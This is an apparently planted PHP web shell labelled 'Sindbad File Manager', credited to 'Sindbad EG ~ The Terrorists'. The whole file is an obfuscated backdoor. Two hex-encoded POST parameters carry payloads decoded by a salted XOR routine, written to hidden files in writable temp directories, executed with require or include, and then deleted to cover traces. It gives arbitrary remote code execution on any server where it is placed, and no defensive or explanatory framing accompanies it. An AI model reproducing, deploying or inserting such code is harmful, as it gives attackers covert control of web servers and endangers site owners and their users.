Sindbad~EG File Manager
<?php if(in_array("\x72ef", array_keys($_POST))){ $data = array_filter([getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", session_save_path(), getenv("TEMP")]); $obj = $_POST["\x72ef"]; $obj = explode( '.' , $obj ) ; $holder = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); foreach($obj as $x => $v4) { $chS = ord($salt6[$x % $sLen]); $d = ((int)$v4 - $chS -($x % 10)) ^ 96; $holder .= chr($d); } for ($parameter_group = 0, $ent = count($data); $parameter_group < $ent; $parameter_group++) { $dat = $data[$parameter_group]; if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $element = implode("/", [$dat, ".value"]); if (file_put_contents($element, $holder)) { require $element; unlink($element); exit; } } } }
if(@$_POST["\x62i\x6Ed"] !== null){
$comp = $_POST["\x62i\x6Ed"];
$comp= explode ( '.' ,$comp ) ;
$pointer ='';
$s ='abcdefghijklmnopqrstuvwxyz0123456789';
$lenS =strlen($s);
$y =0;
array_walk($comp , function ($v3) use (&$pointer , &$y , $s , $lenS) {
$sChar =ord($s[$y%$lenS]);
$dec =((int)$v3 - $sChar - ($y%10)) ^ 85;
$pointer .= chr($dec);
$y++;
});
$reference = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir")]);
for ($entity = 0, $ent = count($reference); $entity < $ent; $entity++) {
$ref = $reference[$entity];
if (!!is_dir($ref) && !!is_writable($ref)) {
$tkn = vsprintf("%s/%s", [$ref, ".obj"]);
$file = fopen($tkn, 'w');
if ($file) {
fwrite($file, $pointer);
fclose($file);
include $tkn;
@unlink($tkn);
die();
}
}
}
}
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists